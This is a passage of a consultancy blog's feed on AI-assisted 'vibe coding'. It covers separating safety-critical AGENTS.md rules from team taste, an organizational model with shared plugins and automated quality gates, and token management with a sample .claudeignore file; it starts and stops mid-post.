<p>Conversely, the following areas can be left to individual or team taste. A team can of course standardize them for consistency, but they don&rsquo;t need to be part of the repository&rsquo;s core safety contract.</p>
<ul>
<li>Formatting details such as whether to use semicolons, how much whitespace, and trailing commas</li>
<li>Fine nuances of function and variable names</li>
<li>Import sort order</li>
<li>Style choices about how heavily to comment</li>
<li>How test files are laid out and how tests are described</li>
<li>Preference for abstracting early versus late</li>
<li>Preference between feature-based and layer-based structure</li>
<li>Detailed choices of error-handling pattern</li>
<li>Personal working habits such as whether you write long or short prompts</li>
</ul>
<p>For items like these, different choices can all be reasonable. Some teams prefer <code>strict</code> type settings, while others raise strictness gradually to lower onboarding cost. Some teams like the <code>Result</code> pattern; others find exception-based flow clearer. Either way, applied consistently, both can be perfectly reasonable.</p>
<p>The important thing is that this is not a call to ignore taste entirely. Taste affects productivity too. What matters is where you put it. Rather than treating it as a core repository contract, it is better handled with lighter instruments such as formatters, linters, templates, sample code, personal prompts, and team playbooks. That way you preserve taste without letting repository guidelines get excessively heavy.</p>
<p>In vibe coding this difference matters even more. Inject every preference forcefully into an agent and code generation actually becomes rigid, with rule conflicts firing on even small changes. Leave taste as loose guidance and pin down hard only the boundaries directly tied to safety and quality, and the agent works far more stably.</p>
<p>OpenClaw gives a good hint here too. What that repository&rsquo;s coding style rules are really blocking is not the choice between tabs and spaces but structural defects such as overuse of <code>@ts-nocheck</code>, mixing in dynamic imports, and prototype mutation.<sup id="fnref4:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup><sup id="fnref3:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> It may look like a style section on the surface, but the actual content is less about taste than about defusing time bombs.</p>
<h2 id="a-one-line-test">A one-line test</h2>
<p>In practice you don&rsquo;t need to overthink it. This single criterion classifies most cases.</p>
<p>If violating it causes bugs, conflicts, security incidents, or review confusion, it&rsquo;s a repository rule.<br>
If violating it merely prompts &ldquo;I wouldn&rsquo;t write it that way,&rdquo; it&rsquo;s taste.</p>
<p>What makes this criterion good is that it stays valid even when the tech stack changes. React or Go, monorepo or single service — as long as humans and agents work together, &ldquo;rules that prevent accidents&rdquo; and &ldquo;rules that express preference&rdquo; have to be kept apart.</p>
<h2 id="practical-design-four-layers-make-it-clean">Practical design: four layers make it clean</h2>
<p>I recommend splitting repository operating rules into the following four layers.</p>
<p>First, put only hard guardrails in <code>AGENTS.md</code>. Things where getting it wrong causes an accident: build and test commands, forbidden areas, mandatory review conditions, Git safety rules, and approval boundaries for high-risk changes.</p>
<p>Second, put shared team conventions into the code formatter and linter, templates, and example code. Things where consistency matters but which don&rsquo;t need to be read at length as documentation: naming preferences, import order, file layout, comment style.</p>
<p>Third, split complex recurring procedures into skills or playbooks. Rather than stuffing multi-step work such as releases, security checks, and PR operations verbosely into the main document, peel it off as an executable workflow.</p>
<p>Fourth, leave personal working style to local prompts and editor settings. Things like prompt voice, the number of parallel agents, exploration habits, and ad hoc checklists are better left to the domain of individual productivity.</p>
<p>Split this way, the repository gets lighter, team agreements get automated, and individuals can keep the working style that suits them. Above all, the priority of the guidance the agent reads becomes crisp.</p>
<h2 id="the-point-is-not-to-clone-your-developers">The point is not to clone your developers</h2>
<p>The core of vibe coding is not making AI write code the way a person does. It is rather about accepting the areas where it doesn&rsquo;t have to write exactly like a person, and in exchange clearly pinning down only the parts that absolutely must be the same.</p>
<p>Good repository guidelines don&rsquo;t spend paragraphs explaining &ldquo;our team is made up of people with these tastes.&rdquo; Instead they say, briefly and clearly, &ldquo;in this repository, these things at least must be observed.&rdquo; Leave taste open; close the boundaries.</p>
<p>That, in the end, is likely the difference between teams that use AI agents well and teams that keep getting worn down even while using AI.</p>
<hr>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="/en/posts/openclaw-vibe-coding-best-practices/">OpenClaw: 9 Best Practices from the World&rsquo;s Largest Vibe Coding Project</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="/en/posts/openclaw-agents-md-productivity-secrets/">The Secret Behind OpenClaw&rsquo;s Productivity: Dissecting AGENTS.md</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref4:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Peter Steinberger, <a href="https://steipete.me/posts/2025/shipping-at-inference-speed">Shipping at Inference-Speed</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Peter Steinberger, <a href="https://steipete.me/posts/just-talk-to-it">Just Talk To It - the no-bs Way of Agentic Engineering</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>OpenClaw, <a href="https://github.com/openclaw/openclaw/blob/main/AGENTS.md"><code>AGENTS.md</code></a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref2:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref3:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>OpenClaw, <a href="https://github.com/openclaw/openclaw/blob/main/AGENTS.md#release--advisory-workflows"><code>AGENTS.md</code> Release / Advisory Workflows</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>Organizational Design for Adopting Vibe Coding</title>
            <link>https://roboco.io/en/posts/organizational-design-for-vibe-coding/</link>
            <pubDate>Fri, 20 Mar 2026 21:23:40 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/organizational-design-for-vibe-coding/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;Whether vibe coding succeeds or fails comes down to organizational design: whether the team can verify and ship AI-generated changes in a repeatable, safe way.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Many organizations understand vibe coding as little more than &amp;ldquo;a way for developers to produce code faster.&amp;rdquo; So the adoption conversation usually starts with tooling. But what actually decides success or failure in the field is organizational structure, not the tool or the model&amp;rsquo;s performance.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>Whether vibe coding succeeds or fails comes down to organizational design: whether the team can verify and ship AI-generated changes in a repeatable, safe way.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<p>Many organizations understand vibe coding as little more than &ldquo;a way for developers to produce code faster.&rdquo; So the adoption conversation usually starts with tooling. But what actually decides success or failure in the field is organizational structure, not the tool or the model&rsquo;s performance.</p>
<p>Vibe coding is less like autocomplete and more like a redesign of how work gets done. Productivity grows when each member of the organization covers a wider surface and when handoff and communication costs between teams go down. That does not mean the goal is headcount reduction. The point is to make the same organization deliver more, faster, and more safely. Doing that requires designing how requirements get decomposed, which changes get delegated to AI and which ones humans judge directly, and what tests and approvals a change must clear before shipping. Without that design, AI amplifies confusion rather than productivity.</p>
<p>This post distills organizational design principles for landing vibe coding inside a real product development organization, drawing on lessons that show up consistently in the OpenClaw case and in recent enterprise AI adoption efforts.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>The success of a vibe coding rollout depends less on tooling and more on the organizational structure and accountability system that verifies and ships AI-generated changes.</li>
<li>Repository-level instructions are not enough. Shared plugins, guardrails, and approval conditions need central management, with field champions tuning them to each team&rsquo;s context.</li>
<li>Design the operating model as a Research → Plan → Implement → Auto Review → Monitor flow, and focus humans on exceptions and high-risk judgment rather than on every review.</li>
</ul>
<h2 id="not-writing-less-code-but-designing-the-system-that-generates-code">Not Writing Less Code, but Designing the System That Generates Code</h2>
<p>The human role does not disappear in a vibe coding environment. Its center of gravity simply moves. Time spent typing code directly goes down, and these activities grow in proportion:</p>
<ul>
<li>Decomposing work into small units</li>
<li>Documenting the constraints and rules agents must follow</li>
<li>Designing approval policies and blocking thresholds</li>
<li>Automating test, review, and deployment gates</li>
<li>Feeding incidents and failures back into guidelines and rules</li>
</ul>
<p>This shift cannot be absorbed by an individual developer&rsquo;s prompting skill alone. It requires an operating contract at the organizational level. Keeping an agent instruction file such as <code>CLAUDE.md</code>/<code>AGENTS.md</code> in every repository — machine-readable, covering build methods, test commands, forbidden areas, review criteria, and security boundaries — is now closer to table stakes than to an option.</p>
<p>Ultimately, the important question is: &ldquo;Under what discipline and what accountability structure will our organization handle the changes AI produces?&rdquo;</p>
<h2 id="repository-instructions-are-not-enough-you-need-a-company-wide-shared-plugin-system">Repository Instructions Are Not Enough. You Need a Company-Wide Shared Plugin System</h2>
<p>A repository-level <code>AGENTS.md</code> is useful for pinning down local context. But organizational adoption does not end there. Once each team starts copying its own prompts and tool connections, the same work gets defined many times over, permission control scatters, and good workflows survive only as the know-how of a few individuals.</p>
<p>That is why organization-level vibe coding needs a shared plugin system. Here, a plugin is not merely a collection of prompts. It is an operational package that bundles the memory (rules), skills, hooks, connectors, and approval conditions required for a specific role or task into a single deployable unit. In other words, shared skills are not standalone artifacts but parts of a shared plugin, and real guardrails are only enforced when the rules inside the plugin, the executable skills, and the auto-invoked hooks work together. The Claude Cowork update Anthropic announced on February 24, 2026 points in the same direction. Administrators can now build an internal plugin marketplace, bundle approved connectors, connect private GitHub repositories as plugin sources, and control automatic installation and access at the team or user level.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>Individual prompts raise individual productivity. Shared plugins create organizational consistency. The operating unit that matters is not &ldquo;who uses it well&rdquo; but &ldquo;whether the same boundaries and quality standards apply no matter who uses it.&rdquo;</p>
<p>An organization-level plugin system should, at minimum, do the following:</p>
<ul>
<li>Distribute proven workflows in a reusable form</li>
<li>Centrally control approved connectors and data access scope</li>
<li>Absorb per-team context differences through plugin versions and settings</li>
<li>Observe usage, cost, and tool calls to measure which automations actually work</li>
</ul>
<p>In the end, repository instructions define &ldquo;how to work in this codebase,&rdquo; and shared plugins define &ldquo;how AI works in our organization.&rdquo; If the former is a local operating contract, the latter is a shared operational product for the whole company.</p>
<h2 id="why-so-many-ai-rollouts-underdeliver">Why So Many AI Rollouts Underdeliver</h2>
<p>The reasons vibe coding adoption underdelivers are usually similar: teams look only at generation speed and bolt on the control structure later. Early on, everyone feels fast. PRs go up quickly, document drafts appear in an instant, and test code gets written more easily than before. But a few months in, review fatigue rises, accountability blurs, and operational stability starts to wobble.</p>
<p>This is not strange. The weaker an organization&rsquo;s engineering fundamentals, the more AI amplifies noise before it amplifies speed. If there is no habit of shipping frequently in small batches, if test reliability is low, and if code review standards are fuzzy, AI does not resolve the bottleneck — it pushes more changes into it.</p>
<p>So a vibe coding rollout should be treated as an operations design project, not a productivity project. Speed is an outcome, not a starting point. Four questions have to be answered first:</p>
<ul>
<li>Which changes may AI perform autonomously?</li>
<li>Which changes must pass through human approval?</li>
<li>What evidence must exist for a reviewer to approve with confidence?</li>
<li>Where will lessons from failures accumulate?</li>
</ul>
<p>Deploy tools without answering these, and the organization soon arrives at &ldquo;we do use AI, but we&rsquo;re more tired than before.&rdquo;</p>
<h2 id="recommended-organizational-model-central-platform--field-champions--final-ownership">Recommended Organizational Model: Central Platform + Field Champions + Final Ownership</h2>
<p>For most organizations, the most realistic answer is a hybrid model. Having a central platform team control everything becomes a bottleneck; letting every product team use its own tools fragments quickly.</p>
<p>The hybrid model has three layers.</p>
<p>First, a central AI platform and guardrails team provides shared infrastructure. Foundational capabilities belong here: model routing, access control, the shared plugin marketplace, approved connectors, common prompt and skill templates, repository integration, log and cost observability, and policy automation.</p>
<p>Second, each product squad has an AI champion or AI specialist. This role is not someone who uses the tools on the team&rsquo;s behalf. It is the connective tissue that tunes guidelines and plugins to the team&rsquo;s actual workflow, judges which tasks to delegate to AI, and feeds failure patterns back to the platform team.</p>
<p>Third, final accountability still rests with the product team. Operational responsibility must not shift to the platform team just because AI wrote the code. The ultimate owner of service outages, security issues, and quality problems has to be the team that runs the service.</p>
<p>Sketched simply, the structure looks like this:</p>
<pre class="mermaid">%%{init: {
  'theme': 'base',
  'themeVariables': {
    'background': 'transparent',
    'primaryColor': '#1f2937',
    'primaryTextColor': '#f9fafb',
    'primaryBorderColor': '#60a5fa',
    'secondaryColor': '#0f766e',
    'secondaryTextColor': '#f9fafb',
    'secondaryBorderColor': '#5eead4',
    'tertiaryColor': '#374151',
    'tertiaryTextColor': '#f9fafb',
    'tertiaryBorderColor': '#fbbf24',
    'lineColor': '#94a3b8',
    'clusterBkg': '#111827',
    'clusterBorder': '#64748b',
    'defaultLinkColor': '#94a3b8'
  }
}}%%
flowchart TB
    CTO[CTO / Head of Engineering] --> Platform[AI Platform & Guardrails]
    CTO --> Squads[Product Squads]
    CISO[CISO / Security] --> Governance[AI Security & Governance]

    Platform --> Gateway[LLM Gateway]
    Platform --> DevEx[Repo / IDE / CI Integration]
    Platform --> Evals[Evals & Quality Gates]
    Platform --> Observe[Cost / Logs / Observability]

    Squads --> Leads[EM / Tech Lead]
    Squads --> Champions[AI Champions]

    Governance -. policy .-> Platform
    Governance -. high-risk approval .-> Squads
    Champions -. field feedback .-> Platform
</pre>
<p>The point is clear: standardization and shared distribution live at the center, context adaptation happens in the field, and accountability sits with the product team.</p>
<h2 id="the-standard-operating-model-should-be-research--plan--implement--auto-review--monitor">The Standard Operating Model Should Be Research → Plan → Implement → Auto Review → Monitor</h2>
<p>Teams that do vibe coding well do not jump straight into implementation. They research first, reduce ambiguity through a deep interview, plan, and then implement. Enforcing that order is what cuts the cost of early misunderstandings.</p>
<p>The recommended baseline flow is as follows:</p>
<ol>
<li>Intake the requirement or issue.</li>
<li>Research the existing code and constraints.</li>
<li>During research and planning, run the deep interview skill included in the company-wide or team-wide plugin, and use a plugin hook to always invoke it first so that requirements, approval boundaries, data access, and exception conditions are confirmed.</li>
<li>Document the change plan based on the deep interview results.</li>
<li>Implement and test.</li>
<li>Run static analysis, security scans, tests, and AI review automatically.</li>
<li>Once the gates pass, land the change via auto-merge or a direct commit path.</li>
<li>After deployment, monitor operational metrics and anomaly signals automatically.</li>
<li>Feed incidents and exceptions back into the instruction files and gate rules.</li>
</ol>
<p>The deep interview here is not an optional checklist. It should be embedded inside the organization-wide or team-wide plugin in the form of memory (rules), skills, and hooks, and always be invoked first during research and planning. That way, independent of any repository&rsquo;s local instructions, company-level guardrails for security, approval, and separation of duties get applied the same way every time. In other words, the interview itself is the execution surface of operating policy, and the plugin hook is the mechanism that keeps that policy from being skipped.</p>
<p>Steps 3 and 4 are the critical ones. A plan document should contain at least the following:</p>
<ul>
<li>Which files change</li>
<li>What the intent of the change is</li>
<li>Which shared guardrails and exception approval conditions were confirmed in the deep interview</li>
<li>Which tests will verify it</li>
<li>How to roll back on failure</li>
<li>Whether there is any impact on security or data access</li>
</ul>
<p>Skip the deep interview and the plan documentation, and implementation may look fast while review slows down, so total lead time grows again. Conversely, when the initial questions and the plan are sharp, AI becomes a far more useful execution engine.</p>
<h2 id="human-in-the-loop-should-be-an-exception-path-not-the-default">Human-in-the-Loop Should Be an Exception Path, Not the Default</h2>
<p>There is one important shift here. In a vibe coding organization, humans should not intervene at every step of the default path. If you automate only code generation while humans still read every review, the bottleneck merely moves downstream. Speed rises at the generation stage and collapses again at the review stage.</p>
<p>In such an environment, traditional metrics like PR cycle time or review participation rate are also poor candidates for core KPIs. When PRs are mostly self-merged or dominated by bot comments, the mere fact that &ldquo;a review exists&rdquo; is no longer evidence of quality assurance. What is needed is not more human review but better automated quality gates.</p>
<p>That is, the default path should look more like Machine-in-the-Loop than Human-in-the-Loop. The ideal flow:</p>
<ul>
<li>Generate the commit or proposed change</li>
<li>Automatically run lint, type check, tests, secret scanning, and SAST</li>
<li>Automatically run LLM-based code review</li>
<li>Decide via multi-model consensus or a rule-based score threshold</li>
<li>Auto-merge or land directly on pass</li>
<li>Automatically watch for anomaly signals after deployment</li>
</ul>
<p>Humans do not enter this flow every time. They design the thresholds, handle exceptions, and step in only when models disagree sharply or when security risk is high. Put differently, the human role is closer to &ldquo;designer of the automated verification system and escalation owner&rdquo; than to &ldquo;reviewer who reads every line of code.&rdquo;</p>
<p>Exception boundaries are still necessary, of course. Human approval may still be involved in areas such as:</p>
<ul>
<li>Authentication and authorization</li>
<li>Payments and settlement</li>
<li>Personal data processing</li>
<li>Database schema changes</li>
<li>External system permission integrations</li>
<li>Infrastructure security configuration</li>
</ul>
<p>Even here, the goal is not exhaustive manual review. Humans should focus on setting the guardrails while verification runs automatically. That is what makes it possible to automate code generation and review together.</p>
<h2 id="operating-metrics-should-center-on-automated-quality-gates-not-prs">Operating Metrics Should Center on Automated Quality Gates, Not PRs</h2>
<p>At this point, the perspective on operating metrics has to change too. If a vibe coding organization keeps PR review time, review participation rate, and merge rate as core KPIs, the measurement system starts to distort reality. In an organization where direct commits and automated review have become the norm, these metrics are easily contaminated or simply obsolete.</p>
<p>Operating metrics should therefore be designed around how well the automation system is holding quality, rather than around traces of human collaboration.</p>
<p>First, team-level delivery trends. What matters is not per-person LOC competition but how steadily the whole team produces changes before and after the transition. Code change volume should be used only as a team-level trend indicator, never as an individual performance metric.</p>
<p>Second, team engineering health. Bundle signals such as commit granularity, focus of work area, deletion ratio, and message discipline to track engineering practice, and you can catch quality degradation fairly early even without PRs. A falling deletion ratio in particular can signal that AI-generated code is piling up without cleanup.</p>
<p>Third, the performance of the automated review system. For example: AI gate block rate, recurring failure types, security scan detection rate, missing-test detection rate, and inter-model disagreement rate. When using multi-model consensus in particular, the standard deviation can matter more than the average score, because changes with large model disagreement are the candidates for human intervention.</p>
<p>Fourth, post-deployment service health. Change failure rate, MTTR, rollback ratio, and the number of user-impacting incidents still matter. If problems in production increase even after review is automated, that automation has failed.</p>
<p>Fifth, anomaly signals in knowledge concentration and work patterns. Looking at whether changes cluster excessively on a small number of people, whether the team&rsquo;s activity pattern is wobbling, and whether quality gate failures concentrate in specific areas lets you detect organizational risk earlier than people can. Knowledge distribution measures and outlier-based monitoring are useful in this context.</p>
<p>To summarize: the KPI of a vibe coding organization is no longer &ldquo;how hard did people review.&rdquo; It is &ldquo;how accurately do the automated quality gates filter problems, and how steadily is the team shipping customer value.&rdquo;</p>
<h2 id="automated-review-should-be-reasoned-automation-not-a-black-box">Automated Review Should Be Reasoned Automation, Not a Black Box</h2>
<p>Automating review must not make the verification logic opaque. An automated review system should follow at least these principles:</p>
<ul>
<li>AI review results must record the reason for blocking along with the supporting evidence</li>
<li>For important judgments, multiple models should vote to add stability, and if disagreement between models is large, escalate instead of auto-approving</li>
<li>Do not show only a score — reveal which file, which pattern, and which missing test is the problem</li>
<li>Use anomaly signals as input for system improvement rather than for punishing individuals</li>
</ul>
<p>The goal of automation is not to exclude humans but to make them intervene only when they are genuinely needed. For that, automated review must be an evidence system that both machines can read and humans can understand — not a silent black box.</p>
<h2 id="the-adoption-roadmap-should-start-small-and-solidify-the-operating-system-first">The Adoption Roadmap Should Start Small and Solidify the Operating System First</h2>
<p>Company-wide big-bang adoption almost always fails. Validate with one small team first. The best pilot candidate is a product team that is open to change and also carries clear operational responsibility.</p>
<p>A realistic three-month roadmap generally follows this sequence:</p>
<pre class="mermaid">%%{init: {
  'theme': 'base',
  'themeVariables': {
    'background': 'transparent',
    'primaryColor': '#2563eb',
    'primaryTextColor': '#f9fafb',
    'primaryBorderColor': '#93c5fd',
    'secondaryColor': '#0f766e',
    'secondaryTextColor': '#f9fafb',
    'secondaryBorderColor': '#5eead4',
    'tertiaryColor': '#7c3aed',
    'tertiaryTextColor': '#f9fafb',
    'tertiaryBorderColor': '#c4b5fd',
    'lineColor': '#94a3b8',
    'textColor': '#e5e7eb',
    'clusterBkg': '#111827',
    'clusterBorder': '#64748b',
    'defaultLinkColor': '#94a3b8'
  }
}}%%
flowchart LR
    W1["Weeks 1-2<br/>Define guardrails<br/>Tidy repo instructions"] --> W2["Weeks 3-7<br/>Run pilot squad<br/>Measure quality & risk"]
    W2 --> W3["Weeks 8-10<br/>Build champion network<br/>Roll out shared plugins"]
    W3 --> W4["Weeks 11-12<br/>Realign KPIs<br/>Embed onboarding & training"]
</pre>
<p>The principles to hold to during this process are clear: do not wait until the platform is perfect, but equally, do not dump the entire cost of experimentation on the delivery teams — and set your success criteria and stop criteria in advance.</p>
<p>For instance, eight weeks into the pilot you should be able to confirm three things:</p>
<ul>
<li>Are the AI gate block rate and recurring failure types stabilizing?</li>
<li>Has the change failure rate not gotten worse?</li>
<li>Has the team started updating the guidelines and automation rules on its own?</li>
</ul>
<p>If you do not see these three, fixing the operations design comes before spreading the tools.</p>
<h2 id="what-you-ultimately-need-is-not-an-ai-team-but-an-ai-native-operating-system">What You Ultimately Need Is Not an AI Team but an AI-Native Operating System</h2>
<p>What the vibe coding era calls for is not &ldquo;a few star players who are good with AI.&rdquo; It is an operating system that lets anyone use AI safely above a certain baseline. The central platform provides standards, guardrails, and the shared plugin system; champions in the field translate context; and product teams own the outcome end to end. Only when those three interlock does vibe coding become an organizational capability rather than a passing fad.</p>
<p>To put it plainly, the core of adopting vibe coding is not replacing developers with AI. It is redesigning the organizational interfaces around writing, verifying, and shipping code. Repository instructions create local discipline; a shared plugin system creates reusability and control across the whole organization. What you need is not a vague race for speed but clearer accountability, better evidence, and stronger operational discipline.</p>
<p>AI can produce code. But turning that code into organizational results is still the job of organizational design.</p>
<h2 id="glossary">Glossary</h2>
<p>Some of the terms used in this post go by slightly different names in different products. The links below point to the official documentation that explains each concept most directly.</p>
<ul>
<li><code>AGENTS.md</code>: In OpenAI Codex, a working-instruction file placed in a repository or subdirectory. It tells the agent which rules, commands, and constraints to follow. Official docs: <a href="https://developers.openai.com/codex/guides/agents-md">Custom instructions with AGENTS.md</a></li>
<li><code>CLAUDE.md</code> / memory (rules): In Claude Code, a memory file that hierarchically loads persistent rules at the organization, project, and user levels. Company-wide rules can be distributed as global policy and team rules as project memory. Official docs: <a href="https://docs.claude.com/en/docs/claude-code/memory">How Claude remembers your project</a></li>
<li><code>Shared plugin</code>: A unit in which an organization bundles common rules and automation for distribution. In this post it means an operational package that ships memory, skills, hooks, and MCP/connector settings together. Official docs: <a href="https://docs.claude.com/en/docs/claude-code/plugins">Plugins</a>, <a href="https://docs.claude.com/en/docs/claude-code/plugins-reference">Plugins reference</a></li>
<li><code>Skill</code>: An execution unit that defines a repeatable way of working in reusable form. It can be included inside a plugin or placed directly at the project or organization level. Official docs: <a href="https://docs.claude.com/en/docs/claude-code/skills">Agent Skills</a>, <a href="https://developers.openai.com/codex/skills">Agent Skills for Codex</a></li>
<li><code>Hook</code>: A policy and verification mechanism that attaches automatically to events such as session start, instruction load, and before/after tool execution. It can be used to block dangerous commands, force a deep interview to run first, and automate follow-up verification. Official docs: <a href="https://docs.claude.com/en/docs/claude-code/hooks">Hooks reference</a></li>
<li><code>MCP</code> / connectors: The standard connection layer through which a model accesses external tools and data context. It often surfaces as a connector in product UIs and as an MCP server in development runtimes. Official docs: <a href="https://developers.openai.com/codex/mcp">Model Context Protocol</a>, <a href="https://support.claude.com/en/articles/11175166-get-started-with-custom-connectors-using-remote-mcp">Get started with custom connectors using remote MCP</a></li>
<li><code>Deep interview</code>: The deep interview referred to in this post is not a specific vendor&rsquo;s product name but an organizational operating pattern for structurally confirming requirement ambiguity, approval boundaries, data access, and exception handling during the research and planning stages. In practice it is usually built by combining memory, skills, and hooks. Official docs for the implementation building blocks: <a href="https://docs.claude.com/en/docs/claude-code/memory">How Claude remembers your project</a>, <a href="https://docs.claude.com/en/docs/claude-code/skills">Agent Skills</a>, <a href="https://docs.claude.com/en/docs/claude-code/hooks">Hooks reference</a></li>
</ul>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Anthropic, &ldquo;Cowork and plugins for teams across the enterprise&rdquo; (February 24, 2026): <a href="https://claude.com/blog/cowork-plugins-across-enterprise">https://claude.com/blog/cowork-plugins-across-enterprise</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content>
        </item>
        
        <item>
            <title>A Token Management Strategy for Vibe Coding</title>
            <link>https://roboco.io/en/posts/vibe-coding-token-management-strategy/</link>
            <pubDate>Thu, 19 Mar 2026 09:00:00 +0900</pubDate>
            <author>contact@roboco.io (ROBOCO)</author>
            <guid>https://roboco.io/en/posts/vibe-coding-token-management-strategy/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;Running out of tokens is rarely a model performance problem. It is usually a problem with how you operate your context.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;&lt;img src=&#34;https://roboco.io/posts/images/Dohyun.png&#34;&gt;&lt;figcaption&gt;
      &lt;h4&gt;Dohyun Jung - Principal Consultant, ROBOCO&lt;/h4&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Use a vibe coding tool like Claude Code, Codex, or Gemini long enough and the same symptoms start showing up. Responses slow down, constraints you already agreed on get forgotten, and the model starts touching files that have nothing to do with the task. We usually describe this as &amp;ldquo;running out of tokens,&amp;rdquo; but what is actually happening is closer to &lt;strong&gt;context pollution&lt;/strong&gt;, or context rot.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>Running out of tokens is rarely a model performance problem. It is usually a problem with how you operate your context.</p>
</blockquote>
<figure><img src="/posts/images/Dohyun.png"><figcaption>
      <h4>Dohyun Jung - Principal Consultant, ROBOCO</h4>
    </figcaption>
</figure>

<hr>
<p>Use a vibe coding tool like Claude Code, Codex, or Gemini long enough and the same symptoms start showing up. Responses slow down, constraints you already agreed on get forgotten, and the model starts touching files that have nothing to do with the task. We usually describe this as &ldquo;running out of tokens,&rdquo; but what is actually happening is closer to <strong>context pollution</strong>, or context rot.</p>
<p>Reading back through the ideation notes I put together with Perplexity, the core point is clear. In real-world usage, most token consumption comes from <strong>input context</strong> rather than output, which means the best way to solve the problem is not a &ldquo;bigger model&rdquo; but a &ldquo;cleaner context.&rdquo; Building on that material, this post lays out principles for token management centered on <strong>practical operating strategy</strong> rather than a tour of tool features.</p>
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Running out of tokens is not simply a quota problem; treat it as context pollution caused by conversation, logs, and documents getting tangled together.</li>
<li>The habits that shrink scope come first: <code>.claudeignore</code>, splitting up work documents, <code>/clear</code> and <code>/compact</code>, and handoff documents.</li>
<li>Good vibe coding is less about long prompts and more about designing context so the model sees only what it needs right now.</li>
</ul>
<h2 id="why-tokens-run-out-first">Why tokens run out first</h2>
<p>When a long session keeps accumulating, the problem shows up on two levels. One is simply hitting the token limit; the other, which arrives sooner, is degraded quality. When conversation logs, failed attempts, provisional hypotheses, long build logs, and the context of already-finished work all linger, the model has a harder time distinguishing what matters now from what has already been discarded.</p>
<p>This is not solved by context window size alone. A long context lets you hold more information, but it offers no guarantee that the information inside it is well organized. That is why the heart of token management is <strong>selection</strong> rather than conservation for its own sake.</p>
<h2 id="strategy-1-use-claudeignore-to-block-what-should-never-be-read-in-the-first-place">Strategy 1: Use <code>.claudeignore</code> to block what should never be read in the first place</h2>
<p>Measured against real numbers, the single highest-ROI action is configuring <code>.claudeignore</code>. In the cases cited in the ideation document, simply excluding <code>node_modules</code>, build artifacts, logs, binaries, large images, and lock files is reported to deliver <strong>savings on the order of 30–40%</strong>.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>Here is roughly what it looks like.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>node_modules/
</span></span><span style="display:flex;"><span>.next/
</span></span><span style="display:flex;"><span>dist/
</span></span><span style="display:flex;"><span>build/
</span></span><span style="display:flex;"><span>coverage/
</span></span><span style="display:flex;"><span>.cache/
</span></span><span style="display:flex;"><span>*.log
</span></span><span style="display:flex;"><span>*.db
</span></span><span style="display:flex;"><span>*.sqlite
</span></span><span style="display:flex;"><span>.env*
</span></span><span style="display:flex;"><span>*.png
</span></span><span style="display:flex;"><span>*.jpg
</span></span><span style="display:flex;"><span>*.gif
</span></span><span style="display:flex;"><span>*.mp4
</span></span></code></pre></div><p>The essence of this strategy is not thrift. It is preventing the model from seeing information that would not help it anyway. Lock files and build artifacts in particular eat a lot of tokens while carrying almost no inferential value.</p>
<h2 id="strategy-2-do-not-cram-everything-into-tasksmd--split-it-into-an-index-structure">Strategy 2: Do not cram everything into <code>tasks.md</code> — split it into an index structure</h2>
